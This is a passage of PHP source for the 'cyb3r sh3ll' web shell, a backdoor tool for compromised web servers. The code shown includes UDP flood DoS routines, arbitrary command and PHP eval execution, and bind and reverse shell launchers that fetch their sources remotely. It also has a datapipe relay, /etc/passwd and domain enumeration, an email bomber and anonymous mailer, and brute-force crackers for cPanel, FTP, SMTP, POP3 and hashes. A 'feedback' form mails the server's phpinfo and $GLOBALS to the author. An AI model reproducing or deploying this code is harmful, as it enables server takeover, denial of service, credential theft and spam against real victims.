"; + + $fi = fopen($d.$f,"rb"); + + if ($fi) + + { + + if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} + + else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + + $n = 0; + + $a0 = "00000000
"; + + $a1 = ""; + + $a2 = ""; + + for ($i=0; $i";} + + $a1 .= "
"; + + $a2 .= "
"; + + } + + } + + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."
";} + + echo "
".$a0."".$a1."".$a2."

"; + + } + + $encoded = ""; + + if ($base64 == 1) + + { + + echo "Base64 Encode
"; + + $encoded = base64_encode(file_get_contents($d.$f)); + + } + + elseif($base64 == 2) + + { + + echo "Base64 Encode + Chunk
"; + + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + + } + + elseif($base64 == 3) + + { + + echo "Base64 Encode + Chunk + Quotes
"; + + $encoded = base64_encode(file_get_contents($d.$f)); + + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + + } + + elseif($base64 == 4) + + { + + $text = file_get_contents($d.$f); + + $encoded = base64_decode($text); + + echo "Base64 Decode"; + + if (base64_encode($encoded) != $text) {echo " (failed)";} + + echo "
"; + + } + + if (!empty($encoded)) + + { + + echo "

"; + + } + + echo "HEXDUMP: [Full] [Preview]
Base64: + +
[Encode + +[+chunk + +[+chunk+quotes + +[Decode + +

"; + + } + + elseif ($ft == "html") + + { + + if ($white) {@ob_clean();} + + echo $r; + + if ($white) {cyb3rexit();} + + } + + elseif ($ft == "txt") {echo "

".htmlspecialchars($r)."
";} + + elseif ($ft == "ini") {echo "
"; var_dump(parse_ini_file($d.$f,TRUE)); echo "
";} + + elseif ($ft == "phpsess") + + { + + echo "
";
+
+   $v = explode("|",$r);
+
+   echo $v[0]."
"; + + var_dump(unserialize($v[1])); + + echo "
"; + + } + + elseif ($ft == "exe") + + { + + $ext = explode(".",$f); + + $c = count($ext)-1; + + $ext = $ext[$c]; + + $ext = strtolower($ext); + + $rft = ""; + + foreach($exeftypes as $k=>$v) + + { + + if (in_array($ext,$v)) {$rft = $k; break;} + + } + + $cmd = str_replace("%f%",$f,$rft); + + echo "Execute file:

Display in text-area
"; + + } + + elseif ($ft == "sdb") {echo "
"; var_dump(unserialize(base64_decode($r))); echo "
";} + + elseif ($ft == "code") + + { + + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + + { + + $arr = explode("\n",$r); + + if (count($arr == 18)) + + { + + include($d.$f); + + echo "phpBB configuration is detected in this file!
"; + + if ($dbms == "mysql4") {$dbms = "mysql";} + + if ($dbms == "mysql") {echo "Connect to DB

";} + + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by cyb3rell. Please, report us for fix.";} + + echo "Parameters for manual connect:
"; + + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
";} + + echo "

"; + + } + + } + + echo "
"; + + if (!empty($white)) {@ob_clean();} + + highlight_file($d.$f); + + if (!empty($white)) {cyb3rexit();} + + echo "
"; + + } + + elseif ($ft == "download") + + { + + @ob_clean(); + + header("Content-type: application/octet-stream"); + + header("Content-length: ".filesize($d.$f)); + + header("Content-disposition: attachment; filename=\"".$f."\";"); + + echo $r; + + exit; + + } + + elseif ($ft == "notepad") + + { + + @ob_clean(); + + header("Content-type: text/plain"); + + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + + echo($r); + + exit; + + } + + elseif ($ft == "img") + + { + + $inf = getimagesize($d.$f); + + if (!$white) + + { + + if (empty($imgsize)) {$imgsize = 20;} + + $width = $inf[0]/100*$imgsize; + + $height = $inf[1]/100*$imgsize; + + echo "
Size: "; + + $sizes = array("100","50","20"); + + foreach ($sizes as $v) + + { + + echo ""; + + if ($imgsize != $v ) {echo $v;} + + else {echo "".$v."";} + + echo "   "; + + } + + echo "

"; + + } + + else + + { + + @ob_clean(); + + $ext = explode($f,"."); + + $ext = $ext[count($ext)-1]; + + header("Content-type: ".$inf["mime"]); + + readfile($d.$f); + + exit; + + } + + } + + elseif ($ft == "edit") + + { + + if (!empty($submit)) + + { + + if ($filestealth) {$stat = stat($d.$f);} + + $fp = fopen($d.$f,"w"); + + if (!$fp) {echo "Can't write to file!";} + + else + + { + + echo "Saved!"; + + fwrite($fp,$edit_text); + + fclose($fp); + + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + + $r = $edit_text; + + } + + } + + $rows = count(explode("\r\n",$r)); + + if ($rows < 10) {$rows = 10;} + + if ($rows > 30) {$rows = 30;} + + echo "
  
"; + + } + + elseif (!empty($ft)) {echo "
Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
";} + + else {echo "
Unknown extension (".$ext."), please, select type manually.
";} + + } + +} + +if ($act == "about") +{ +echo '
Script:
-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
+Name: cyb3r sh3ll
Version: '.$shver.'


Author:
-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
+Name: cyb3r 9l4d!470r (Cyber Gladiator)
Country: India
Website: ????...
Email: cyb3r.gladiat0r@gmail.com +

Greetings:
-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
r45c4l bro you are my source of inspiration.
r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot and they know for whom i\'m speaking.
Thanks all who report bugs and send to my email id.

'; +} + +if ($act == "dos") +{ +?>



+Server IP:

+Your IP:  (Don't DoS yourself nub)

+
+IP: + +    Time: + +    Port: + +

+ +

+
After initiating the DoS attack, please wait while the browser loads.
alert('Dos Completed!');"; +print "Flooded: $ip on port $rand

"; +$max_time = $time+$exec_time; + + + +for($i=0;$i<65535;$i++){ + $out .= "X"; +} +while(1){ +$packets++; + if(time() > $max_time){ + break; + } + + $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); + if($fp){ + fwrite($fp, $out); + fclose($fp); + } +} +echo "Packet complete at ". time() ." with $packets (" . round(($packets*65)/1024, 2) . " kB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; +} + +if ($act == "localdomain") +{ +echo "
Sites on this server. | List of Users.

"; +} + + if ($act == "local") + { + //radable public_html + $file = @implode(@file("/etc/named.conf")); + if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); } + preg_match_all("#named/(.*?).db#",$file ,$r); + $domains = array_unique($r[1]); + + function check() + { + (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; + } + + check(); + + echo " + + "; + + foreach($domains as $domain) + { + $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain)); + echo ""; + } + + echo "
[+] Here : [ ".count($domains)." ] Domain ...
List of DomainsList of Users
$domain".$user['name']."
"; +//radable public_html + } + + if ($act == "readable") + { + //entries in passwd file +($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: safe_mode = on'); +set_time_limit(0); +################### +@$passwd = fopen('/etc/passwd','r'); +if (!$passwd) { die('[-] Error : coudn`t read /etc/passwd'); } +$pub = array(); +$users = array(); +$conf = array(); +$i = 0; +while(!feof($passwd)) +{ +$str = fgets($passwd); +if ($i > 35) +{ +$pos = strpos($str,':'); +$username = substr($str,0,$pos); +$dirz = '/home/'.$username.'/public_html/'; +if (($username != '')) +{ +if (is_readable($dirz)) +{ +array_push($users,$username); +array_push($pub,$dirz); +} +} +} +$i++; +} +################### +echo '



Coded by cyb3r 9l4d!470r Homepage'; + + + } + + + if ($act == "mailer") + { + ?> + + + + + + + + + + + + + + +

(: E-Mail Bomber :)

[: Mass Mailer :]

{: Anonymous Mailer :}

+ Some Error Occured!"; + break; + } + } + if($error != 1) + { echo "Mail(s) Sent!"; } + } + else + { + ?> +
"> + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ To + + +
+ Subject + + +
+ No. of Times + + +
+ + Pad your message (Less spam detection) + + + + + +
+ + + +
+
+ + +
+ Mail Sent!"; + } + else + { + echo "Some Error Occured!"; + } + } + else + { + ?> +
"> + + + + + + + + + + + + + + + + + + + + + + + + + +
+ From + + +
+ To + + +
+ Subject + + +
+ + + +
+
+ +
+
+ +
+ + + + + + + + + + + + + + + + + + +
Priority:
+ + +
 
+ +
Content-Type:
+
+ +
Proxy | Whois

"; +} + + if ($act == "feedback") + +{ + + $suppmail = base64_decode("Y3liM3IuZ2xhZGlhdDByQGdtYWlsLmNvbQ=="); + + if (!empty($submit)) + + { + + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + + $body = "cyb3r sh3llv.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + + if (!empty($fdbk_ref)) + + { + + $tmp = @ob_get_contents(); + + ob_clean(); + + phpinfo(); + + $phpinfo = base64_encode(ob_get_contents()); + + ob_clean(); + + echo $tmp; + + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + + } + + mail($suppmail,"cyb3r sh3ll v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + + echo "
Thanks for your feedback! Your ticket ID: ".$ticket.".
"; + + } + + else {echo "
Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):

Your name:

Your e-mail:

Message:


Attach server-info *

There are no checking in the form.

* - strongly recommended, if you report bug, because we need it for bug-fix.

We understand languages: English, Hindi.

";} + +} + +if ($act == "systeminfo") {echo system('systeminfo');} + +if ($act == "phpinfo") {@ob_clean(); phpinfo(); cyb3rexit(); } + +if ($act == "upload") + +{ + echo "File upload:
+ +Select file on your local computer:
               or
+ +Save this file dir:

+ +File-name (auto-fill):

+ + + +
"; +$target = $_POST['path']; + $target = $target .'\\'. basename( $_FILES['uploaded']['name']) ; + $ok=1; +if (isset($_FILES['uploaded']['name'])) { + if (file_exists($target)) + { + echo $_FILES["uploaded"]["name"] . " already exists. "; + } + else + { + if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) + { + echo "Upload: " . $_FILES["uploaded"]["name"] . "
"; + echo "Type: " . $_FILES["uploaded"]["type"] . "
"; + echo "Size: " . round(($_FILES["uploaded"]["size"] / 1024),3) . " Kb
"; + echo "Stored in: " . $target; + } + else + { + echo "Sorry, there was a problem uploading your file."; + } + } + } +} +if ($act == "whois") +{ +global $t,$hcwd; +if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){ +$server =$_REQUEST['server']; +$domain=$_REQUEST['domain']."\r\n"; +$ser=fsockopen($server,43,$en,$es,5); +fputs($ser,$domain); +echo "
";
+while(!feof($ser))echo fgets($ser);
+echo "
"; +fclose($ser); +} +else{ +echo "
Whois:
Server:
domain:
$hcwd
"; +} +} + + + +if ($act == "cracker") +{ + echo " +
+Hash -|- +SMTP -|- +POP3 -|- +IMAP -|- +FTP -|- +SNMP -|- +MySQL -|- +HTTP Form -|- +HTTP Auth(basic) -|- +CPANEL -|- +Dictionary Maker +

"; +} + +if ($act == "shells") +{ ?> + + + + + + + + + + + + + +

(: Bind/Reverse Shell :)

[: Web Shell :]

+ array("Using PERL","perl %path %port"), + + "cyb3r_bindport.c"=>array("Using C","%path %port %pass") + + ); + + $bcsrcs = array( + + "cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"), + + "cyb3r_backconn.c"=>array("Using C","%path %host %port") + + ); + + $dpsrcs = array( + + "cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + + "cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + + ); + + if (!is_array($bind)) {$bind = array();} + + if (!is_array($bc)) {$bc = array();} + + if (!is_array($datapipe)) {$datapipe = array();} + + + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + + if (!empty($bindsubmit)) + + { + + echo "Result of binding port:
"; + + $v = $bndportsrcs[$bind["src"]]; + + if (empty($v)) {echo "Unknown file!
";} + + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
";} + + else + + { + + $w = explode(".",$bind["src"]); + + $ext = $w[count($w)-1]; + + unset($w[count($w)-1]); + + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + + $binpath = $tmpdir.join(".",$w).rand(0,999); + + if ($ext == "pl") {$binpath = $srcpath;} + + @unlink($srcpath); + + $fp = fopen($srcpath,"ab+"); + + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
";} + + elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";} + + else + + { + + fwrite($fp,$data,strlen($data)); + + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + $v[1] = str_replace("%path",$binpath,$v[1]); + + $v[1] = str_replace("%port",$bind["port"],$v[1]); + + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + + $v[1] = str_replace("//","/",$v[1]); + + $retbind = myshellexec($v[1]." > /dev/null &"); + + sleep(5); + + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + + else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
View binder's process
";} + + } + + echo "
"; + + } + + } + + if (!empty($bcsubmit)) + + { + + echo "Result of back connection:
"; + + $v = $bcsrcs[$bc["src"]]; + + if (empty($v)) {echo "Unknown file!
";} + + else + + { + + $w = explode(".",$bc["src"]); + + $ext = $w[count($w)-1]; + + unset($w[count($w)-1]); + + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + + $binpath = $tmpdir.join(".",$w).rand(0,999); + + if ($ext == "pl") {$binpath = $srcpath;} + + @unlink($srcpath); + + $fp = fopen($srcpath,"ab+"); + + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
";} + + elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";} + + else + + { + + fwrite($fp,$data,strlen($data)); + + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + $v[1] = str_replace("%path",$binpath,$v[1]); + + $v[1] = str_replace("%host",$bc["host"],$v[1]); + + $v[1] = str_replace("%port",$bc["port"],$v[1]); + + $v[1] = str_replace("//","/",$v[1]); + + $retbind = myshellexec($v[1]." > /dev/null &"); + + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...
"; + + } + + } + + } + + if (!empty($dpsubmit)) + + { + + echo "Result of datapipe-running:
"; + + $v = $dpsrcs[$datapipe["src"]]; + + if (empty($v)) {echo "Unknown file!
";} + + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
";} + + else + + { + + $srcpath = $tmpdir.$datapipe["src"]; + + $w = explode(".",$datapipe["src"]); + + $ext = $w[count($w)-1]; + + unset($w[count($w)-1]); + + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + + $binpath = $tmpdir.join(".",$w).rand(0,999); + + if ($ext == "pl") {$binpath = $srcpath;} + + @unlink($srcpath); + + $fp = fopen($srcpath,"ab+"); + + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
";} + + elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";} + + else + + { + + fwrite($fp,$data,strlen($data)); + + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + + $v[1] = str_replace("%path",$binpath,$v[1]); + + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + + $v[1] = str_replace("//","/",$v[1]); + + $retbind = myshellexec($v[1]." > /dev/null &"); + + sleep(5); + + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + + else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
View datapipe process
";} + + } + + echo "
"; + + } + + } + + ?>Binding port:
Port: "> Password: ">  
+ +Back connection:
HOST: "> Port: ">  
+ +Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!

+ +Datapipe:
+
+HOST: "> Local port: ">  
Note: sources will be downloaded from remote server. + + + + +
+

[: Enter Command to Execute: :] + +

 


+
Useful Commands
+ + +
+ +
+ + + + + + + + + +   + + + +
+ + Warning. Kernel may be alerted using higher levels
+ +
+ +
+
Result of execution this command
:
"; + + $olddir = realpath("."); + + @chdir($d); + + $ret = myshellexec($cmd); + + $ret = convert_cyr_string($ret,"d","w"); + + if ($cmd_txt) + + { + + $rows = count(explode("\r\n",$ret))+1; + + if ($rows < 10) {$rows = 10;} + + echo "
"; + + } + + else {echo $ret."
";} + + @chdir($olddir); + + } + + else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + + echo "


 Display in text-area 
"; + +} + +} + +if ($act == "phpcode") +{ + echo " +
+PHP Code Evaluate -|- +Mass Code Injector -|- +PHP Obfuscator -|- +Web Server Fuzzer +

"; +} + +if ($act == "eval") + +{ + + if (!empty($eval)) + + { + + echo "Result of execution this PHP-code:
"; + + $tmp = ob_get_contents(); + + $olddir = realpath("."); + + @chdir($d); + + if ($tmp) + + { + + ob_clean(); + + eval($eval); + + $ret = ob_get_contents(); + + $ret = convert_cyr_string($ret,"d","w"); + + ob_clean(); + + echo $tmp; + + if ($eval_txt) + + { + + $rows = count(explode("\r\n",$ret))+1; + + if ($rows < 10) {$rows = 10;} + + echo "
"; + + } + + else {echo $ret."
";} + + } + + else + + { + + if ($eval_txt) + + { + + echo "
"; + + } + + else {echo $ret;} + + } + + @chdir($olddir); + + } + + else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + + echo "


 Display in text-area 
"; + +} + +if ($act == "proxy") +{ +global $errorbox,$et,$footer,$hcwd; +echo "
Navigator: $hcwd
"; +if (!empty($_REQUEST['urL'])){ +$dir=""; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); +$url=@fsockopen($host, 80, $errno, $errstr, 12); +if(!$url)die("
$errorbox Can not connect to host!$et$footer"); +fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +while(!feof($url)){ +$con = fgets($url); +$con = str_replace("href=mailto","HrEf=mailto",$con); +$con = str_replace("HREF=mailto","HrEf=mailto",$con); +$con = str_replace("href=\"mailto","HrEf=\"mailto",$con); +$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con); +$con = str_replace("href=\'mailto","HrEf=\"mailto",$con); +$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con); +$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); +echo $con; +} +fclose($url); +} +} + + +if ($act == "obfuscate") +{ + if ( isset($_POST['code']) && + $_POST['code'] != '') + { + $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P + $encode = ' + +'; + } + else + { + $encode = 'Please Enter your Code! and Click Submit! :)'; + }?> +
+
+ +
+

$data

"; + + print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a message
"; + for($i=0;$i<$times;$i++) + { + $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); + if($socket) + { + fwrite($socket , $data , $length ); + fclose($socket); + } + } + echo ""; + echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."
"; + echo "Total Number of Packets Sent : " . $times . "
"; + echo "Total Data Sent = ". showsizE($times*$length) . "
"; + echo "Data per packet = " . showsizE($length) . "
"; + } + else + { + ?> +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ IP + + +
+ Port + + +
+ Timeout + + +
+ No of times + + +
+ Message (The message Should be long and it will be multiplied with the value after it) + + + + x + + +
+ +
+
+ +
+ +
+ + + + + +
+

+ IP servers : +

+ + +
User ListPassword List
+ +
+ Guess options +   + Cpanel (2082) + + Telnet(23) +
+ Timeout Delay +
+ Bruteforce +
+ Min Bruteforce Length: +
+ Max Bruteforce Length: + +

+

+
+
+ +"; + cpanel_check($target,$pureuser,$firstVal,$connect_timeout); + + while (1) { + for ($i = 0; $i < ($max + 1); $i++) { + if ($A[$i] == -1) { + break; + } + } + $i--; + $incDone = 0; + while (!$incDone) { + for ($j = 0; $j < $numVals; $j++) { + if ($A[$i] == $vals[$j]) { + break; + } + } + if ($j == ($numVals - 1)) { + $A[$i] = $vals[0]; + $i--; + if ($i < 0) { + for ($i = 0; $i < ($max + 1); $i++) { + if ($A[$i] == -1) { + break; + } + } + $A[$i] = $vals[0]; + $A[$i + 1] = -1; + $incDone = 1; + print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking
"; + } + } else { + $A[$i] = $vals[$j + 1]; + $incDone = 1; + } + } + $i = 0; + $currentVal = ""; + while ($A[$i] != -1) { + $currentVal = $currentVal . $A[$i]; + $i++; + } + cpanel_check($target,$pureuser,$currentVal,$connect_timeout); + //echo $currentVal . "
"; + if ($currentVal == $realMax) { + return 0; + } + } +} +function getmicrotimev() { + list($usec, $sec) = explode(" ",microtime()); + return ((float)$usec + (float)$sec); +} + +function ftp_check($host,$user,$pass,$timeout) +{ + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, "ftp://$host"); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); + curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); + curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); + curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_FAILONERROR, 1); + $data = curl_exec($ch); + if ( curl_errno($ch) == 28 ) + { + print " + Error : Connection Timeout + Please Check The Target Hostname .

";exit; + } + else if ( curl_errno($ch) == 0 ) + { + print "[~] + Cracking Success With Username "$user\" + and Password \"$pass\"

"; + } + curl_close($ch); +} +function cpanel_check($host,$user,$pass,$timeout) +{ + global $cpanel_port; + $ch = curl_init(); + //echo "http://$host:".$cpanel_port." $user $pass
"; + curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); + curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); + curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_FAILONERROR, 1); + $data = curl_exec($ch); + if ( curl_errno($ch) == 28 ) + { + print " + Error : Connection Timeout + Please Check The Target Hostname .

";exit; + } + else if ( curl_errno($ch) == 0 ) + { + print "[~] + Cracking Success With Username "$user\" + and Password \"$pass\"

"; + } + curl_close($ch); +} + +$time_start = getmicrotime(); + +if(isset($submit) && !empty($submit)) +{ + if(empty($users) && empty($pass) ) + { + print "

Error : Please Check The Users or Password List Entry . . .

"; exit; } + if(empty($users)){ print "

Error : Please Check The Users List Entry . . .

"; exit; } + if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "

Error : Please Check The Password List Entry . . .

"; exit; }; + $userlist=explode("\n",$users); + $passlist=explode("\n",$pass); + print "[~]# + LETS GAME BEGIN ;) ...

"; + + if(isset($_POST['connect_timeout'])) + { + $connect_timeout=$_POST['connect_timeout']; + } + + if($cracktype == "ftp") + { + foreach ($userlist as $user) + { + $pureuser = trim($user); + foreach ($passlist as $password ) + { + $purepass = trim($password); + ftp_check($target,$pureuser,$purepass,$connect_timeout); + } + } + } + + if ($cracktype == "cpanel" || $cracktype == "cpanel2") + { + if($cracktype == "cpanel2") + { + $cpanel_port="23"; + } + else + $cpanel_port="2082"; + + foreach ($userlist as $user) + { + $pureuser = trim($user); + print "[~]# + Please put some good password to crack user $pureuser :( ... "; + if($_POST['bruteforce']=="true") + { + echo " bruteforcing .."; + echo "
"; + brute(); + } + else + { + echo "
"; + foreach ($passlist as $password ) + { + $purepass = trim($password); + cpanel_check($target,$pureuser,$purepass,$connect_timeout); + } + } + } + $time_end = getmicrotime(); +$time = $time_end - $time_start; + print "[~]# + Cracking Finished. Elapsed time: $time seconds

"; + } +} + + + +?> + + + + + + + + +
+ +

+ + + + + + + +
+
+ + +
+
+
+ + +
+
+
+ + +
+

+
+ "; +} +} + +} +closedir($dh); +} +} +?> + + +
+ +Cracking " . htmlspecialchars($hash)."...
";flusheR(); +$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; +while(!feof($dictionary)){ +$word=trim(fgets($dictionary)," \n\r"); +if ($hash==strtoupper(($type($word)))){echo "The answer is $word
";break;} +} +echo "Done!
"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +echo "
Hash cracker:
Dictionary:
Hash:
Type:
$hcwd
"; +echo $eval_php_code; +} + +if ($act == "smtp") +{ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$smtp=smtplogiN($target,$user,$pass,5); +if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{ +if ($smtp){echo "U: $user P: $pass
";if(!$type)break;}} +flusheR(); +} +echo "
Done
"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else +{ +echo "
SMTP cracker:$crack"; +} + +echo "
SMTP cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
"; + + +} + +if ($act == "pop3") +{ + +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$pop3=pop3logiN($target,$user,$pass); +if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{ +if ($pop3){echo "U: $user P: $pass
";if(!$type)break;}} +flusheR(); +} +echo "
Done
"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else +{ echo "
POP3 cracker:$crack
"; +} +echo "
POP3 cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
